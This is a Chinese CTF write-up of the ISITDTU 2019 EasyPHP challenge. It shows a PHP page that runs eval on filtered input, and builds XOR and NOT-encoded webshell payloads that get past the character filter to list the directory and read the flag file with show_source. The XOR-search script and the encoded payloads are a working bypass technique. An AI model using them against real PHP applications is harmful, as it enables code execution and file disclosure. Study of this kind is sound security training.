[ISITDTU 2019EasyPHP]使用异或webshell

news2024/9/25 11:18:55

文章目录

    • [ISITDTU 2019EasyPHP]使用异或webshell
      • 解题
      • 总结

[ISITDTU 2019EasyPHP]使用异或webshell

解题

index.php

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

这里主要需要绕过两个if正则过滤:

if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )

如果 $_ 中的字符串包含其中任何字符,则会执行 die('rosé will not do it'); 终止脚本的执行。

以下是该正则表达式所匹配的字符范围和特殊字符:

  • [\x00- 0-9]:匹配 ASCII 控制字符和数字 0-9。
  • \'":匹配单引号和双引号。
  • $&.,|[{_defgops\x7F]:匹配特定字符集合,包括 $, &, ., ,, |, [, {, _, d, e, f, g, o, p, s 和 ASCII 值为 \x7F 的字符。

因此,如果 $_ 中的字符串包含上述字符集合中的任何一个字符,那么条件为真,执行 die('rosé will not do it'); 终止脚本执行。

第二个if:

strlen(count_chars(strtolower($_), 0x3)) > 0xd

这一段代码的意思是传入的字符种类不能超过13种

我们注意到并没有过滤 ~ ^

所以我们尝试使用一下取反~

/?_=(~%8F%97%8F%96%91%99%90)();   # phpinfo();

使用异或:

<?php
$s = urlencode("phpinfo" ^ urldecode("%ff%ff%ff%ff%ff%ff%ff"));
echo "((".$s.")^("."%ff%ff%ff%ff%ff%ff%ff))();";

# ((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

image-20230809145509591

disable_functions:

image-20230809145532759

把一些常用的全部过滤了,但是我们可以使用print_rscandir()两个函数读取目录,再使用show_source()读取文件

print_r(scandir('.'))
    
(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))

我们测一下用了多少字符:

<?php
$s = '(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))';
echo strlen(count_chars($s,3));

# 16

总共16个字符

我们需要控制在13个以内,除了();^ 就只剩下了9个字符

由于这里限制字符种类,但是不限制长度,所以我们应该想一想有哪些字符可以用其他字符多次异或得来:

def en(s):
    return hex(ord(s) ^ 0xff)[2:]


p = list(set('printrscandir'))
for i in p:
    for j in p:
        for k in p:
            for m in p:
                if ord(j) ^ ord(k) ^ ord(m) == ord(i):
                    if(j == k or j == m or m == k):
                        continue
                    else:
                        print(i+'=='+j + '^' + k + '^'+m, end='\t')
                        print(
                            '{:0>2}  =>  ["{:0>2}","{:0>2}","{:0>2}"]'.format(
                                en(i), en(j), en(k), en(m)))
                        break

这段代码就是找出通过三个字符能异或构造出字符串中一个字符的代码,然后输出他们与%ff异或之后的值

%9e  =  %9c ^ %8d ^ %8f
a = %9e ^ %ff  =  %9c ^ %8d ^ %8f ^ %ff

image-20230809153030320

我们需要挑选出字符串里面一些出现比较少的字符串,替换为3个字符的异或,例如:

tt==s^i^n 8b => ["8c","96","91"]

t = \x8B ^ \xFF
变为
t = \x8c ^ \x96 ^ \x91 ^ \xff

我们按照这个思路,批量替换一下字符,让其长度小于13

我们寻找几个被代替的字符:

a = c^p^r
d = s^c^t
n = i^s^t


c = %9C
p = %8F
r = %8D
s = %8C
t = %8B
i = %96

于是我们可以通过这些来代替:

print_r(scandir('.'))
    
(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))

替代后:将a n d 替换

print_r = (%8F%8D%96%96%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%ff%8c%ff%ff%ff^%ff%ff%ff%8b%ff%ff%ff)

scandir = (%8C%9C%9C%96%8C%96%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%8F%8B%9C%ff%ff^%ff%ff%8D%8C%8B%ff%ff)
 
. = (%D1^%ff)

所以print_r(scandir('.'))

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

传入:

image-20230809160211396

n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt ,直接读读不了,我们可以使用:end()获得数组的最后一个值

show_source(end(scandir('.')))
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

总结

这题太烦了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/854203.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

8月9日,每日信息差

1、优酷申请注册「妙鸭相机」商标&#xff0c;阿里云为妙鸭相机提供算力支持&#xff0c;“妙鸭相机”已在阿里云上进行紧急扩容&#xff0c;以应对暴涨数百倍的算力需求 2、苹果或于9月12日发布iPhone 15 3、我国首条直通中越边境高铁开始铺轨&#xff0c;在广西防城港市境内…

【java】【高级拓展1】常见算法正则表达式异常

目录 1 算法 1.1 简单认识算法 1.2 常见算法 - 排序算法 1.2.1 冒泡排序 1.2.2 选择排序 1.3 常见算法-查找算法 1.3.1 基本查询&#xff08;顺序查找&#xff09;不好&#xff08;性能不好&#xff09; 1.3.2 二分查找&#xff08;折半查找&#xff09; 2 正则表达式 …

加量不加价,比亚迪驱逐舰05焕发新生,冠军加新120km豪华版来袭

根据最新消息&#xff0c;比亚迪驱逐舰05冠军版推出了一款崭新的豪华车型&#xff0c;其预售价为11.98万元。该车具备出色的续航性能&#xff0c;最高续航里程可达1200公里&#xff0c;并且支持17千瓦直流快速充电、VTOL移动电站以及NFC全场景数字钥匙。 此外&#xff0c;该车…

黑马机器学习day2

1.1sklearn转换器和估计器 转换器和预估器&#xff08;estimator&#xff09; 1.1.1转换器 实例化一个转换器类 Transformer调用fit_transform() 转换器调用有以下几种形式&#xff1a; fit_transformfittransform 1.1.2估计器 在sklearn中&#xff0c;估计器是一…

Henon映射分叉图

Henon映射的方程为: 分叉图是观察最终值范围的一个重要方式。 下面我们通过matlab实现henon映射的分叉图。 clearvars clc close all a = 0:0.001:1.4; b = 0.3; N1 = 5000; N2 = 100; x = ones(N1+N2,length(a)); y = ones(N1+N2,length(a)); for j = 1:N1+N2-1x(j+1,:) …

pycharm、idea、golang等JetBrains其他IDE修改行分隔符(换行符)、在Git CRLF、LF 换行符转换

文章目录 pycharm、idea、golang系列修改行分隔符我应该选择什么换行符JetBrains IDE&#xff0c;默认行分隔符 是跟随系统修改JetBrains IDE&#xff0c;默认行分隔符 在Git CRLF、LF 换行符转换需求Git 配置选项 pycharm、idea、golang系列修改行分隔符 一般来说,不同的开发…

Endnote 具体期刊格式检索和下载方法——以nature期刊参考文献格式检索和下载为例

Endnote 具体期刊格式检索和下载方法——以nature期刊参考文献格式检索和下载为例 在外文文章写作时候&#xff0c;有时为了提高写作效率&#xff0c;会用到Endnote文献引用功能。然而&#xff0c;有时可能没有现成的参考文献格式&#xff0c;此时&#xff0c;比较快捷的方式&…

[保研/考研机试] KY30 进制转换-大整数转二进制 清华大学复试上机题 C++实现

描述 将一个长度最多为30位数字的十进制非负整数转换为二进制数输出。 输入描述&#xff1a; 多组数据&#xff0c;每行为一个长度不超过30位的十进制非负整数。 &#xff08;注意是10进制数字的个数可能有30个&#xff0c;而非30bits的整数&#xff09; 输出描述&#xff…

top解析

突然发现redis不能存进去数据了&#xff0c;导致线上的验证码前端获取不到&#xff0c;然后想着重启一下redis,结果就是报错no space left on device df -h或者df - i : 查看磁盘空间&#xff0c;文件大小 du -sh*: 查看所有子目录大小 linux 中如何查看磁盘剩余空间的总大小 d…

IT运维:SIEM在鸿鹄中的应用

引言 SIEM &#xff08; Security, Information, and Event Management&#xff09;安全信息和事件管理&#xff0c;它是一种安全解决方案&#xff0c;可提供对事件的实时监控和分析&#xff0c;以及出于合规性或审计目的跟踪和记录安全数据。 SIEM 大多数提供核心的功能&#…

Qt拖放事件与拖放操作笔记dragEnterEvent,dropEvent

1 介绍 拖放事件主要用于处理MIME数据&#xff0c;该数据是用于在发送电子邮件时&#xff0c;附加多媒体数据&#xff08;即拖拽一个文件放入邮件中&#xff0c;事件文件的上传&#xff09;。 2 示例 a&#xff09;使用简化步骤声明拖放事件成员函数&#xff1a; b&#xff09;…

AIDL踩坑记录

1、aidl文件编译不出java文件&#xff1a; 有两种解决方案&#xff1a; 1、利用as新建一个AIDL&#xff0c;aidl文件会在aidl目录的包名下面&#xff0c;as会自己识别 2、如果代码是编写在自己的目录中&#xff0c;可用sourceSets指定aidl目录 sourceSets {main {aidl.srcDi…

Sentieon | 应用教程: 关于读段组的建议

介绍 本文档描述了使用Sentieon Genomics软件时&#xff0c;推荐使用RGID字段以最小化潜在问题的用法。 本文档能帮助您确定设置所使用的bam文件中RG标签的不同字段的最佳实践方法。 RG字段及其用法的详细描述 RG字段的详细描述 SAM格式规范http://samtools.github.io/hts-…

同步辐射全散射PDF测试的原理及应用领域盘点

同步辐射全散射PDF测试的原理及应用领域盘点 同步辐射全散射PDF是一种强大的材料结构表征技术&#xff0c;它通过同步辐射X射线衍射技术&#xff0c;探测材料中原子间的相对位置与偏移&#xff0c;从而揭示材料的微观结构和性质。 同步辐射全散射PDF原理 同步辐射全散射PDF测试…

MAPPO 算法的深度解析与应用和实现

【论文研读】 The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games 说明&#xff1a; 来源&#xff1a;36th Conference on Neural Information Processing Systems (NeurIPS 2022) Track on Datasets and Benchmarks. 是NIPS文章&#xff0c;质量有保障&…

4个方面介绍云渲染技术的发展趋势和前景!

云渲染技术是一种新兴的渲染技术&#xff0c;它利用云计算的优势&#xff0c;将渲染任务分配到云端服务器上进行处理&#xff0c;从而大大提高了渲染效率和质量。云渲染技术在影视动画、建筑设计、游戏开发等领域有广泛的应用&#xff0c;为数字内容创作提供了便捷和高效的解决…

金融科技与现代开源技术结合的进展超前到你无法想象!

想要了解最新的金融科技进展吗&#xff1f; 渴望与其他技术爱好者交流&#xff0c;并扩展您在金融科技行业中的人脉关系吗&#xff1f; 那么请参加我们即将举行的 Meetup&#xff0c;本次活动由 Apache DolphinScheduler 社区和 OceanBase 技术社区共同举办&#xff0c;聚焦金…

为什么都劝年轻人不要频繁跳槽?

"为什么都劝年轻人不要频繁跳槽&#xff1f;"这句话绝对正确&#xff0c;没有任何漏洞&#xff0c;无论如何解释都是正确的&#xff0c;因为“频繁”这个词是非常主观的&#xff0c;有很大的弹性。 不同的人对于跳多少次才算频繁有不同的看法&#xff0c;有人认为一…

二、MySql库的操作

文章目录 一、库的操作&#xff08;一&#xff09;创建数据库&#xff08;二&#xff09;创建数据库案例&#xff08;三&#xff09;字符集和校验规则1、 查看系统默认字符集以及校验规则2、查看数据库支持的字符集3、查看数据库支持的字符集校验规则4、校验规则对数据库的影响…

转转短链平台设计与实现

1 背景介绍 转转是中国领先的二手交易平台&#xff0c;链接作为用户在平台上进行交互和信息传递的重要媒介&#xff0c;扮演着不可或缺的角色。 传统长链接通常包含大量字符和特殊符号&#xff0c;不易记忆和传播。由于字数的原因&#xff0c;长链接在发送短信&#xff0c;生成…